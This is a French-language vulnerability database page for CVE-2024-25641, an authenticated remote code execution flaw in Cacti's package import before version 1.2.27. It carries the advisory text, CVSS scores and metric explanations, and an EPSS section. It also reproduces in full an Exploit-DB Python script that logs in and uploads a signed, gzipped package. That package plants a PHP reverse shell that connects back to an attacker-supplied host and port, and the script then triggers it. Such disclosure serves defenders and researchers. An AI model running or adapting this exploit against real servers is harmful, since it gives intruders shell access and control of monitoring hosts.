CVE-2024-25641 : Détail

CVE-2024-25641

9.1
/
Critique
A03-Injection
77.88%V4
Network
2024-05-13
13h28 +00:00
2025-02-13
17h40 +00:00
CVE.org
NVD
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Descriptions du CVE

Cacti RCE vulnerability when importing packages

Cacti provides an operational monitoring and fault management framework. Prior to version 1.2.27, an arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server. The vulnerability is located within the `import_package()` function defined into the `/lib/import.php` script. The function blindly trusts the filename and file content provided within the XML data, and writes such files into the Cacti base path (or even outside, since path traversal sequences are not filtered). This can be exploited to write or overwrite arbitrary files on the web server, leading to execution of arbitrary PHP code or other security impacts. Version 1.2.27 contains a patch for this issue.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.1 CRITICAL CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 52225

Date de publication : 2025-04-14 22h00 +00:00
Auteur : D3Ext
EDB Vérifié : No

# Exploit Title: Cacti 1.2.26 - Remote Code Execution (RCE) (Authenticated) # Date: 06/01/2025 # Exploit Author: D3Ext # Vendor Homepage: https://cacti.net/ # Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip # Version: 1.2.26 # Tested on: Kali Linux 2024 # CVE: CVE-2024-25641 #!/usr/bin/python3 import os import requests import base64 import gzip import time import argparse import string import random from bs4 import BeautifulSoup from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding, rsa from cryptography.hazmat.primitives import serialization def get_random_string(length): letters = string.ascii_lowercase result_str = ''.join(random.choice(letters) for i in range(length)) return result_str def check_version(url_to_check): r = requests.get(url_to_check) response = r.text if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response: print("[+] Version seems to be 1.2.26") else: print("[-] Version doesn't seem to be 1.2.26, proceeding anyway") # Main function if __name__ == '__main__': p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE") p.add_argument('--url', help="URL of the Cacti web root", required=True) p.add_argument('--user', help="username to log in", required=True) p.add_argument('--password', help="password of the username", required=True) p.add_argument('--lhost', help="local host to receive the reverse shell", required=True) p.add_argument('--lport', help="local port to receive the reverse shell", required=True) p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False) # Parse CLI arguments parser = p.parse_args() url = parser.url username = parser.user password = parser.password lhost = parser.lhost lport = parser.lport verbose = parser.verbose url = url.rstrip("/") print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n") # check if versions match print("[*] Checking Cacti version...") time.sleep(0.5) check = check_version(url + "/CHANGELOG") if check == False: sys.exit(0) req = requests.Session() if verbose: print("[*] Capturing CSRF token...") r = req.get(url) # extract CSRF token soup = BeautifulSoup(r.text, 'html.parser') html_parser = soup.find('input', {'name': '__csrf_magic'}) csrf_token = html_parser.get('value') if verbose: print("[+] CSRF token: " + csrf_token) print("[*] Logging in on " + url + "/index.php") # define login post data login_data = { '__csrf_magic': csrf_token, 'action': 'login', 'login_username': username, 'login_password': password, 'remember_me': 'on' } # send login request r = req.post(url + "/index.php", data=login_data) # check success if 'Logged in' in r.text: print("[+] Successfully logged in as " + username) else: print("[-] An error has ocurred while logging in as " + username) sys.exit(0) # generate random filename random_name = get_random_string(10) random_filename = random_name + ".php" payload = """<?php set_time_limit (0); $VERSION = "1.0"; $ip = '""" + lhost + """'; $port = """ + lport + """; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>""" # generate payload print("[*] Generating malicious payload...") keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048) public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo) file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256()) b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8') b64_file_signature = base64.b64encode(file_signature).decode('utf-8') b64_public_key = base64.b64encode(public_key).decode('utf-8') data = """<xml> <files> <file> <name>resource/""" + random_filename + """</name> <data>""" + b64_payload + """</data> <filesignature>""" + b64_file_signature + """</filesignature> </file> </files> <publickey>""" + b64_public_key + """</publickey> <signature></signature> </xml>""" signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256()) final_data = data.replace("<signature></signature>", "<signature>" + base64.b64encode(signature).decode('utf-8') + "</signature>").encode('utf-8') # write gzip data f = open(random_filename + ".gz", "wb") f.write(gzip.compress(final_data)) f.close() print("[+] Malicious GZIP: " + random_filename + ".gz") # define post data post_data = { '__csrf_magic': csrf_token, 'trust_signer': 'on', 'save_component_import': 1, 'action': 'save' } # upload file print("[*] Uploading GZIP file...") # send post request r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')}) print("[+] Successfully uploaded GZIP file") time.sleep(0.5) print("[*] Validating success...") soup = BeautifulSoup(r.text, 'html.parser') html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename}) file_id = html_parser.get('id') post_data = { '__csrf_magic': csrf_token, 'trust_signer': 'on', 'data_source_profile': 1, 'remove_orphans': 'on', 'replace_svalues': 'on', file_id: 'on', 'save_component_import': 1, 'preview_only': '', 'action': 'save', } r = req.post(url + "/package_import.php?header=false", data=post_data) print("[+] Success!") time.sleep(0.5) print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename) time.sleep(0.2) print("[+] Check your netcat listener") # remove payload file os.remove(random_filename + ".gz") r = req.get(url + "/resource/" + random_filename)

Products Mentioned

Configuraton 0

Cacti>>Cacti >> Version To (excluding) 1.2.27

Configuraton 0

Fedoraproject>>Fedora >> Version 39

Références

http://seclists.org/fulldisclosure/2024/May/6
Tags : Mailing List, Third Party Advisory